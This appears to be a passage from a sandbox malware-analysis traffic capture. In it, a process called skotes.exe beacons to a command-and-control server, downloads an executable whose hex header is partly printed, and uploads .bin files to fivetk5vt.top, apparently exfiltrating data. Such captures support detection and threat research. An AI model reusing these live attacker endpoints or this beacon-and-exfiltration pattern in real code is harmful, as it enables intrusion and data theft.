Dec 19, 2024 16:11:16.362858057 CET	896	IN	Data Raw: 9e f3 6d b2 62 39 a8 ca 94 94 a8 2d 63 40 ee 0e e9 81 83 0a 83 82 36 6d d2 e2 09 b9 0f 4e 49 8b a3 db 95 42 49 c9 79 be 2d 93 c3 91 32 f3 ce 51 e6 ce a8 89 19 94 e4 28 63 bb d3 52 0e 82 d9 4e 5a 19 0d a3 17 39 db ca a0 69 14 d4 ef d9 c6 9d 32 08 Data Ascii: mb9-c@6mNIBIy-2Q(cRNZ9i2W&'pamo/V;KX74zxS6xc<])QOrXA%1bIqyh-\|+WFOc&*$W1lnc?um2QnB
Dec 19, 2024 16:11:16.362879992 CET	1236	IN	Data Raw: 67 67 c0 a5 21 56 0d b9 e3 e9 ac 7a 9e 36 d9 56 e8 59 86 fa 57 dd 44 28 06 31 d8 5f 0c 02 0d 77 14 de fe c8 9f 2d a7 66 e9 6d a0 fa ec 1d b7 2e 60 3e 8f 4a f5 e9 75 38 8f c0 d8 58 fc 42 34 fb 57 35 07 0a de 31 8d bc 32 58 0c 77 34 df 65 a4 9f 79 Data Ascii: gg!Vz6VYWD(1_w-fm.`>Ju8XB4W512Xw4eymRq.\EqWpk1VwX0uTme%.L3dApe>+'YLiM5WgO]4txZ"a[HbRfrSZKSc?%+S\|
Dec 19, 2024 16:11:16.482431889 CET	1236	IN	Data Raw: 81 30 0d 77 00 26 54 4f a1 f5 90 ba 30 6d a0 f5 a3 50 f3 2f 3f 06 c3 fe e1 77 33 56 1f cd a4 29 e9 16 66 ce e9 ff 75 b0 96 39 85 3a 1d 1b 16 d2 5b 40 43 a7 d7 e2 7a b7 f8 72 74 1d bf 0e 91 a4 70 3a 50 26 e2 e7 1d 11 5d d9 59 9d 8d 1a f5 ed 93 9a Data Ascii: 0w&TO0mP/?w3V)fu9:[@Czrtp:P&]Y~gs(rW=pvm]h[JACjQ_Mrxueb[N&Q4Isj7G?Y83Yyhw9bL]`dwQ_Xr& Ank6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	50116	185.215.113.43	80	5024	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 16:11:21.436721087 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 65 31 3d 31 30 31 37 36 38 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e1=1017685001&unit=246122658369
Dec 19, 2024 16:11:22.770257950 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 15:11:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	50129	31.41.244.11	80	5024	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 16:11:22.933396101 CET	59	OUT	GET /files/lolz/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 19, 2024 16:11:24.296124935 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 15:11:24 GMT Content-Type: application/octet-stream Content-Length: 21504 Last-Modified: Wed, 18 Dec 2024 18:13:28 GMT Connection: keep-alive ETag: "676310c8-5400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 70 6d 3b c0 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 4a 00 00 00 08 00 00 00 00 00 00 3a 69 00 00 00 20 00 00 00 80 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 00 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 e6 68 00 00 4f 00 00 00 00 80 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 00 00 0c 00 00 00 54 68 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELpm;"0J:i @ `hOTh8 H.text@I J `.rsrcL@@.relocR@BiH6p108s2(}<}=};\|<(+\|<(0P~,Brp(rcp((rp(((o(08s,(}}}\|(+\|(0Hs/+~~ioX-rp(+0rp( o!+*0rp( o!+
Dec 19, 2024 16:11:24.296138048 CET	1236	IN	Data Raw: 00 06 2a 00 00 13 30 03 00 32 00 00 00 06 00 00 11 00 02 72 ef 00 00 70 72 f7 00 00 70 28 22 00 00 0a 6f 23 00 00 0a 0a 06 06 28 03 00 00 2b 28 04 00 00 2b 73 26 00 00 0a 28 27 00 00 0a 0b 2b 00 07 2a 00 00 1b 30 04 00 ad 00 00 00 07 00 00 11 00 Data Ascii: 02rprp("o#(+(+s&('+0s(rp( (+~%-&~s*%(+(+o-+@(.o/,%o0Xo1+o1(2-o3
Dec 19, 2024 16:11:24.296150923 CET	1236	IN	Data Raw: 2b 73 26 00 00 0a 6f 40 00 00 0a 00 00 12 02 28 32 00 00 0a 2d b2 de 0f 12 02 fe 16 04 00 00 1b 6f 33 00 00 0a 00 dc 07 13 04 2b 00 11 04 2a 00 00 01 10 00 00 02 00 49 00 52 9b 00 0f 00 00 00 00 13 30 04 00 b0 00 00 00 0f 00 00 11 73 28 00 00 06 Data Ascii: +s&o@(2-o3+IR0s(sM%rupoN&%rpoN&%rpoN&%rpoN&%rpoN&%rpoN&}rp( (+~%-&~%s%(+(+)sO(+
Dec 19, 2024 16:11:24.296679974 CET	1236	IN	Data Raw: 42 02 7b 12 00 00 04 03 6f 72 00 00 0a 16 fe 01 2a 22 02 28 6e 00 00 0a 00 2a 62 03 02 7b 13 00 00 04 03 6f 38 00 00 0a 6f 1e 00 00 0a 6f 36 00 00 0a 2a 22 02 28 6e 00 00 0a 00 2a 00 1b 30 04 00 fe 05 00 00 19 00 00 11 02 7b 14 00 00 04 0a 06 2c Data Ascii: B{or"(nb{o8oo6"(n0{,+8o{(}r7p{?(s(~(#(t({o8}rgp{?(s({(}rp{?(s(
Dec 19, 2024 16:11:24.296691895 CET	1236	IN	Data Raw: 04 02 7c 2b 00 00 04 28 32 00 00 0a 2d cd de 17 06 16 2f 12 02 7c 2b 00 00 04 fe 16 04 00 00 1b 6f 33 00 00 0a 00 dc 02 7c 2b 00 00 04 fe 15 04 00 00 1b 02 02 7b 16 00 00 04 28 11 00 00 06 7d 26 00 00 04 72 9e 08 00 70 28 19 00 00 0a 00 00 02 02 Data Ascii: \|+(2-/\|+o3\|+{(}&rp({&o-}-+&\|-(.}.{.(}.\|-(2-/\|-o3\|-rp(W}}}}} }!
Dec 19, 2024 16:11:24.296704054 CET	1236	IN	Data Raw: 01 00 00 02 28 14 00 00 06 7d 3f 00 00 04 72 45 0a 00 70 02 7b 3f 00 00 04 28 75 00 00 0a 80 04 00 00 04 00 7e 04 00 00 04 28 8d 00 00 0a 26 72 4d 0a 00 70 7e 04 00 00 04 28 1a 00 00 0a 28 19 00 00 0a 00 00 de 29 0c 02 08 7d 41 00 00 04 00 72 6f Data Ascii: (}?rEp{?(u~(&rMp~(()}Arop{AoY((rp(rp(s s(}@~o{@(,rip(+h{@(oo(
Dec 19, 2024 16:11:24.296720028 CET	1236	IN	Data Raw: 00 32 00 11 00 12 0d 9f 04 11 00 72 05 a3 04 31 00 87 0b a6 04 11 00 5f 05 33 03 11 00 d1 02 33 03 11 00 85 03 33 03 51 80 54 05 aa 04 36 00 1c 05 ad 04 16 00 e1 00 b1 04 16 00 0e 01 b1 04 16 00 00 02 bc 04 16 00 54 01 b1 04 16 00 56 00 b1 04 16 Data Ascii: 2r1_333QT6TV3*3;1Y3 333Hu
Dec 19, 2024 16:11:24.296732903 CET	1236	IN	Data Raw: 00 01 00 0b 06 00 00 01 00 c3 0a 00 00 02 00 85 05 00 00 01 00 30 0c 00 00 01 00 41 0e 00 00 01 00 ff 0a 00 00 01 00 ff 0a 00 00 01 00 03 06 00 00 01 00 ff 0a 00 00 01 00 ff 0a 00 00 01 00 ff 0a 00 00 01 00 8c 06 00 00 01 00 ff 0a 00 00 01 00 8c Data Ascii: 0AZZZ)Z1Z9ZAZIZQZYZaZiZqZyZZZZ Z11
Dec 19, 2024 16:11:24.296747923 CET	332	IN	Data Raw: 02 f6 02 0b 03 33 03 36 03 46 03 5d 03 67 03 6f 03 7b 03 f0 03 54 04 07 00 5a 00 27 00 07 00 5c 00 29 00 08 00 60 00 27 00 08 00 62 00 29 00 09 00 66 00 27 00 09 00 68 00 29 00 b8 0a ec 00 07 01 4e 01 5d 01 8a 01 cb 01 15 02 43 02 7a 02 b3 02 ba Data Ascii: 36F]go{TZ'\)`'b)f'h)N]Cz&</@/dI
Dec 19, 2024 16:11:24.296822071 CET	1236	IN	Data Raw: 3c 41 6e 61 6c 69 7a 61 72 54 65 78 74 6f 41 73 79 6e 63 3e 64 5f 5f 31 30 00 3c 70 61 6c 61 62 72 61 3e 35 5f 5f 32 30 00 3c 3e 63 5f 5f 44 69 73 70 6c 61 79 43 6c 61 73 73 32 30 5f 30 00 3c 3e 39 5f 5f 32 31 5f 30 00 3c 52 65 65 6d 70 6c 61 7a Data Ascii: <AnalizarTextoAsync>d__10<palabra>5__20<>c__DisplayClass20_0<>9__21_0<ReemplazarConSinonimos>b__21_0<>9__22_0<GenerarAnagramas>b__22_0<>9__23_0<VerificarOrtografia>b__23_0<>c__DisplayClass23_0<>9__15_0<ObtenerFrecuenciaPalabras>b__1
Dec 19, 2024 16:11:24.415925026 CET	1236	IN	Data Raw: 00 3c 4d 61 69 6e 3e 64 5f 5f 38 00 3c 3e 73 5f 5f 31 39 00 3c 44 65 73 63 61 72 67 61 72 41 72 63 68 69 76 6f 41 73 79 6e 63 3e 64 5f 5f 32 39 00 3c 3e 39 00 3c 76 6f 63 61 6c 65 73 59 43 6f 6e 73 6f 6e 61 6e 74 65 73 3e 35 5f 5f 39 00 3c 4d 6f Data Ascii: <Main>d__8<>s__19<DescargarArchivoAsync>d__29<>9<vocalesYConsonantes>5__9<Module><Main>System.IOSW_OCULTAR_rutaCarpetaCreada_entradaCompletadarutaSalidaVerificarOrtografiaGenerarOracionAleatoriaEncontrarPalabrasMayusculaDetecta

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	50153	185.215.113.43	80	5024	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 16:11:28.376311064 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 37 36 38 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017686001&unit=246122658369
Dec 19, 2024 16:11:29.774230957 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 15:11:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.6	50162	176.53.146.212	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 16:11:35.368331909 CET	643	OUT	POST /v1/upload.php HTTP/1.1 Host: fivetk5vt.top Accept: / Content-Length: 464 Content-Type: multipart/form-data; boundary=------------------------JhlJrhy2Gp6lRMIt99cGPj Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 4a 68 6c 4a 72 68 79 32 47 70 36 6c 52 4d 49 74 39 39 63 47 50 6a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4a 61 6a 65 63 61 76 69 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 1a 97 1f 05 7e 29 33 23 59 1e 19 e4 e1 25 0e 8a 27 9f 06 93 38 3e be 80 3e 29 01 36 0d 37 c0 e0 18 41 b0 03 6e 08 e7 2c 16 9f 06 c9 7d 45 1b 13 6d f0 f9 25 06 6c c8 33 d3 61 58 07 e2 64 ef 68 2f 93 85 4e 3d 99 eb e2 b1 e1 3f bf fb 3b 9f 69 d6 ff b5 3b f6 38 b2 61 ec e5 9a 10 3f b0 4d 88 29 bd cc 15 61 29 aa 1b 59 c1 7e e9 c4 b0 c6 c8 5b fa 81 f9 43 f7 89 6a 78 ba a4 0b f5 6f db 14 1a 10 bb 51 da 7b 0b 24 56 06 28 07 f6 eb a8 a2 c7 2c e8 a0 1b bd 35 54 14 1f 8d 55 ff ce be fc df d5 46 01 58 12 0c fe f9 03 3f 31 07 c4 82 b0 [TRUNCATED] Data Ascii: --------------------------JhlJrhy2Gp6lRMIt99cGPjContent-Disposition: form-data; name="file"; filename="Jajecavi.bin"Content-Type: application/octet-stream~)3#Y%'8>>)67An,}Em%l3aXdh/N=?;i;8a?M)a)Y~[CjxoQ{$V(,5TUFX?1R82Ru\|k)5vJ9bPe54kF;!CnN(XnN6FU--------------------------JhlJrhy2Gp6lRMIt99cGPj--
Dec 19, 2024 16:11:36.705641985 CET	255	IN	HTTP/1.1 200 OK server: nginx date: Thu, 19 Dec 2024 15:11:36 GMT content-type: text/plain; charset=utf-8 content-length: 2 x-ratelimit-limit: 30 x-ratelimit-remaining: 29 x-ratelimit-reset: 1734622897 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.6	50164	176.53.146.212	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 16:11:38.623420954 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: fivetk5vt.top Accept: / Content-Length: 62893 Content-Type: multipart/form-data; boundary=------------------------YUNzwuqoEY5GFKi15L2Hbq Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 59 55 4e 7a 77 75 71 6f 45 59 35 47 46 4b 69 31 35 4c 32 48 62 71 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 46 61 70 61 6c 69 77 75 6d 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 5b 2d f5 6f 18 9d a6 38 3c 52 14 78 d2 b1 7f 38 3b 7c 3a 96 70 2c c9 64 06 7d a7 93 a6 06 97 4a 29 18 3e af ac 3a 3b 04 1f a9 8c e4 36 94 99 fb 2a b8 fc c1 e3 5e c2 b4 3a 92 6b a5 d8 e2 4c 83 92 3e 83 d1 06 4d 28 bf 81 22 8d 88 9f 6e 7a b6 9d 5c 14 70 0a fa ef ab a7 97 84 95 60 da 70 8d f8 43 2f fd 80 5f 33 4e 30 f7 ea 45 8a 12 84 67 85 c1 aa a6 f7 0d e7 7a ab 9c e5 7c 0a 69 b0 cb 43 8d 00 1e 6f 63 2f ee 08 ed 4d a2 08 e2 bc ce 61 0a 63 88 10 cf 3b eb b8 89 90 b7 c7 12 e3 3b 7f 98 56 52 83 c1 f3 94 0f 3d 64 66 7b 44 8c [TRUNCATED] Data Ascii: --------------------------YUNzwuqoEY5GFKi15L2HbqContent-Disposition: form-data; name="file"; filename="Fapaliwum.bin"Content-Type: application/octet-stream[-o8<Rx8;\|:p,d}J)>:;6^:kL>M("nz\p`pC/_3N0Egz\|iCoc/Mac;;VR=df{DK$-?\K{p/?Al#"&]GtC&\6OSyOJ#GL7CM}fvocLvbxWy8]vaw:[9>B!{VvJ9{oLxMX`a)n0CfOz'3)z%J]tSRwM#0r\|xBJPm$GR62rZKG@N;{,Gh/fLGeI#oa4GqIPC8QhDTMpk!C(5O>swfZ284tL(ev?M3GKKMe3D`av<fGVg{fW=sW!]_6YO<4u<WXB.X]?_o\|~;<}0ycSx9WzR#q\|SeMPjTy@` $w%g[yL8UGebuKb6: [TRUNCATED]
Dec 19, 2024 16:11:38.743282080 CET	2472	OUT	Data Raw: 38 c9 28 44 c3 cc 71 a4 50 9b 36 73 3c 5b 40 18 a3 54 64 26 89 f6 25 64 a8 21 18 65 51 92 7a ba 82 1b 38 ea 44 7f 84 02 96 11 60 c8 aa ff 7e 05 0a 6e 05 80 3d a3 21 65 34 90 ef 4a 3a 40 c7 a9 1c 1c ee fe 4d 62 f4 7e 5f 9d 41 50 27 26 42 b7 4c 3e Data Ascii: 8(DqP6s<[@Td&%d!eQz8D`~n=!e4J:@Mb~_AP'&BL>k<RYr='(MUksTHoBg;JGcKOs"yoDH*W&+t{")z+_NHO3`s8VxDEO2W:RK:qRZ(:?lW)#SpnmSr#
Dec 19, 2024 16:11:38.743349075 CET	7416	OUT	Data Raw: 11 be db 8e be 5b 5f 58 83 21 f6 5d b8 4f a7 42 59 a6 58 41 f4 73 51 5d f7 a0 b1 70 9d 5a b8 2d a9 66 65 ef 06 58 f3 87 4f 0f 4a 52 df 78 4e f4 a9 be d4 de e8 ca 19 48 7d 52 0c 69 ec 36 7e 6f 57 d8 77 42 86 b4 33 e1 1b 6f 7f 49 f8 90 82 a8 62 ab Data Ascii: [_X!]OBYXAsQ]pZ-feXOJRxNH}Ri6~oWwB3oIb6A]2FDlo2E\S\K`jiB,?~\|6PzGZ7^VY8E\|,uK6n7{:zZs384mV~Ts#g\|q[rA
Dec 19, 2024 16:11:38.743426085 CET	2472	OUT	Data Raw: 66 67 19 39 a6 84 25 c3 f3 f3 bf d0 eb da bd cb ae 39 7f 43 b2 5b fb b9 05 44 07 01 88 0b bb 35 b4 18 b7 1d d5 15 2a cc 83 1f ec 7c 82 cb 3c 4d dd 17 32 9d 23 32 15 2a f4 bf 60 72 65 28 c9 92 6a 27 56 af be 5d 2a d6 00 73 00 77 ef d7 e9 0d 95 2d Data Ascii: fg9%9C[D5\|<M2#2`re(j'V]*sw-w<;&r0U]EMc#{>%\ZqQ$ON}d!V&zEMnEL!fEv:\Vl'GDLAv"w[vNU\|EQh
Dec 19, 2024 16:11:38.743460894 CET	2472	OUT	Data Raw: e2 51 6f a9 e4 d0 ec b5 33 b5 83 bc 56 cd f4 2c 20 ea 84 29 ba b4 5a 56 94 f4 a6 64 81 dc a8 ce 47 e1 04 98 21 a3 84 cb a3 a1 47 eb 7b d3 4e 89 54 92 a9 63 7b 0f 66 54 db cc 3c 1d 16 db 26 67 59 29 d9 d7 89 85 86 68 32 3f 5e 31 18 d6 49 91 0f d1 Data Ascii: Qo3V, )ZVdG!G{NTc{fT<&gY)h2?^1Izy]uC?I`"Hg2c!=\|8".!X>9\|OLC\|_"!Tul9MTLMICJ&^\|Al8@GMbX`3aXg:.QO
Dec 19, 2024 16:11:38.743563890 CET	4944	OUT	Data Raw: 42 92 3e 06 98 10 51 8b 70 25 32 93 8e 53 01 0f 29 e3 fd 0a 26 d7 86 87 0f c7 ff 54 72 aa ae e0 79 85 b0 00 00 f8 b0 aa c7 5c 5b a7 f8 fd fa a4 48 98 5d 68 43 5e 2c 14 84 b0 a8 5a 0c 9d fd d7 8f a7 60 0d 2e 86 7c df 84 80 88 6f 5a ea b7 eb 6a 5e Data Ascii: B>Qp%2S)&Try\[H]hC^,Z`.\|oZj^m'P"?p9M$8CaFj>oXzp[8Q"(-,&3t-kMshXZ6z:O=H}A+&~3>9RRD=Yc%oTa6F =7j
Dec 19, 2024 16:11:38.743653059 CET	2472	OUT	Data Raw: 5e 60 0e e8 e9 e2 4b e6 41 16 fc cc fa 80 bc fe e6 23 2d f8 b6 18 bf bf fa fb 03 b2 98 ac d4 2b e2 a2 70 26 4d db 66 f5 50 19 d9 ac 76 43 2a 03 b1 dd a8 fa 0d 8b 1d 8f d6 83 96 d9 c6 34 43 df cb ed 9d e7 17 0d 6c df dd cb 3c f8 af 0f 87 0c 56 00 Data Ascii: ^`KA#-+p&MfPvC*4Cl<VipzpZV3R]-Fve%+SsfKv@Dq$H1ei#:qH-W2Jx`A>I 0%]G+!!@qXGD:z,zw)B0
Dec 19, 2024 16:11:38.743683100 CET	2472	OUT	Data Raw: df 34 28 a5 65 5c fb 9d b1 b2 5e 62 18 f5 3b c8 a2 e7 45 17 6f 13 04 c0 35 c6 b7 14 a6 49 5c 10 3b 5f b9 3d a0 b6 e2 02 ec d6 21 51 91 7b 9b 5a 67 9f b5 08 de 1a 31 a3 22 3f 39 4c 04 e7 09 d9 6e 97 92 a8 e3 4b 80 a8 80 ef b5 50 3f a4 6a f3 47 17 Data Ascii: 4(e\^b;Eo5I\;_=!Q{Zg1"?9LnKP?jGIxAV&QtsRT#hl7 U:NS,2"Wbj~vR?Kd\sKu&Lk5~$&BhF8wqM_]SB0:e(1\|g7__W
Dec 19, 2024 16:11:38.863249063 CET	2472	OUT	Data Raw: be 63 18 1a 95 db 7c f0 2b 3c d6 fb df 1d 9e c4 89 fc a9 dc a6 28 0d 4d 5e bf 08 56 02 71 0b f6 56 bc 11 74 0d eb 1e ac 65 b0 59 d4 42 46 95 59 91 cb 88 09 d5 ae 49 76 b9 09 04 20 01 2f d0 8a d8 3c ee 3e 29 7f d2 b2 6f 18 2a 52 22 09 e9 11 48 aa Data Ascii: c\|+<(M^VqVteYBFYIv /<>)o*R"H5_<.bjL_xs}xs=yyy[P\NbuBI-{}yYqPW:,BD_!C!7lNo
Dec 19, 2024 16:11:38.863274097 CET	2472	OUT	Data Raw: 8f c5 59 00 a6 86 aa 5e 3a 52 71 7c dc 4b d5 da 3a 05 46 3c ce f1 87 5c 29 7a 5f 8b eb 0e 94 11 c5 2b dd 67 e4 eb 5e 6d 33 99 79 b0 5a 58 62 93 40 24 49 f3 6b d7 8e bc 47 1c fa df 06 d6 bd 46 13 ec 13 c1 93 4f 89 41 f0 44 cb 30 3f 1e 61 74 5b b0 Data Ascii: Y^:Rq\|K:F<\)z_+g^m3yZXb@$IkGFOAD0?at[h;B>[G14E~S.AOPro6Lkp$k^A1/I Ra3C6}^VMIXtK{`kxd:+XJ
Dec 19, 2024 16:11:38.863393068 CET	2472	OUT	Data Raw: 55 f6 ae 15 6f ab 53 fd 60 dc 9c 47 a6 1a a7 ee 0f 9f 54 76 ec 2d cc 21 ad 61 9e 5c 64 76 7e e7 2b f4 e6 a7 c2 ed e9 8e f0 22 60 43 e2 ec 76 ab 20 63 72 a2 07 0f 58 9c 80 73 23 d1 e9 14 39 f9 97 ca 66 6f 54 8c 32 59 6e c6 d1 6a 5c 95 5c 8c eb de Data Ascii: UoS`GTv-!a\dv~+"`Cv crXs#9foT2Ynj\\'9.!nMSppq/wcFeB0J3cmN.`W7{M, bN36W*IGwj5^
Dec 19, 2024 16:11:40.347366095 CET	255	IN	HTTP/1.1 200 OK server: nginx date: Thu, 19 Dec 2024 15:11:40 GMT content-type: text/plain; charset=utf-8 content-length: 2 x-ratelimit-limit: 30 x-ratelimit-remaining: 28 x-ratelimit-reset: 1734622897 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.6	50181	176.53.146.212	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 16:11:47.805371046 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: fivetk5vt.top Accept: / Content-Length: 34156 Content-Type: multipart/form-data; boundary=------------------------coCdYZ2expzJOfDWWL4lm7 Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 63 6f 43 64 59 5a 32 65 78 70 7a 4a 4f 66 44 57 57 4c 34 6c 6d 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4d 61 78 61 74 61 6d 69 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a cc 33 83 25 7e 8b cf c8 60 08 3e a0 d8 2a 69 18 cb 57 da 2c f6 a2 4d 7d a4 c2 fb a6 3d bc 7f c6 50 82 f3 28 e1 1d ba f9 92 c2 96 00 94 12 c6 84 75 63 f1 5f 0e 3a 68 d8 30 d3 90 02 e3 70 d1 4e 6e 5e 26 9e 04 d2 18 8c 09 36 bd 7e b7 c6 0f a8 4c 84 ce 4a cb 5a c6 00 16 c1 40 13 f7 2c 47 02 96 07 b2 be b5 66 fa 15 9d 42 ea d2 40 c9 1d 91 ca 65 d5 3e 89 f0 7b 09 c9 1f f8 61 46 f4 40 18 16 5d c7 38 69 93 e7 bc 18 d7 f9 bc eb c2 e8 7e ee a8 79 18 0f f5 f2 8b d0 cd 59 9c ac ac 02 1c 90 de a1 90 53 44 7a 9c b3 f6 0e 09 96 ca 47 49 [TRUNCATED] Data Ascii: --------------------------coCdYZ2expzJOfDWWL4lm7Content-Disposition: form-data; name="file"; filename="Maxatami.bin"Content-Type: application/octet-stream3%~`>*iW,M}=P(uc_:h0pNn^&6~LJZ@,GfB@e>{aF@]8i~yYSDzGI&,@r1gr]a+MJc}B`+2U3Y4\prcz/RkW6ay@~A%V5/2`(A:DP[> bt[i,@fKX_{rR@K6T{ZoG?e:@npJEr@Ms[$@#(cIKHBaZGsP\|d)5lfCPhg\|XHkAg9`4(eb<x8$e10e/E>l~w31!q61,7Uvm{B@ZKnsGWa?2]WOEm?\|~UHqe}sY=#SH@}-DHT],8KL]o~XwDF}8A-#@Gl\|v%D@'2{^%#f(MRv+4!hDXl`q~5wl1~1(SK2CrhkbyShU_ [TRUNCATED]
Dec 19, 2024 16:11:47.925400019 CET	9888	OUT	Data Raw: aa f1 20 cb 81 0b 42 97 c2 e9 c1 c1 c2 a7 9a cc 81 54 a7 4c d4 eb 19 78 e1 50 6f 05 24 0d 67 2d 84 6c a3 db 4a ac 87 35 1d f0 32 e7 b1 85 31 7c da bc 15 22 cc d7 f6 20 ad fb 43 58 21 0d e1 b7 78 aa 3c 45 17 1a 50 97 50 a0 ea 21 13 14 8f 4e 96 3d Data Ascii: BTLxPo$g-lJ521\|" CX!x<EPP!N=yXhZ"/kTo4YU0u&NCC) U=w[rbp!2C$"e}\k'^c-WB<PQF<y _)>z)EqR}4Nhv2SH<+
Dec 19, 2024 16:11:47.925457001 CET	9888	OUT	Data Raw: 49 67 c8 a1 1b 42 47 df d8 eb aa 98 d8 45 d8 84 73 ba 36 c3 c3 1c 80 3c 27 7a af 95 73 75 29 8c 7d d0 90 b3 7c 26 31 a0 a9 57 52 ff 3f 76 3b f7 be f5 5b ff 22 98 ba 51 a3 65 2f 73 93 56 aa 1d a9 1f e5 b8 84 e6 ec c1 92 8f fb fd b6 6e 12 1d 85 e3 Data Ascii: IgBGEs6<'zsu)}\|&1WR?v;["Qe/sVn}$o\isEy'Qg`> NEW-9P\8Pb!`Y#-F[ix)8&+Aq5XzfW,Uj3T&4WW%cSU
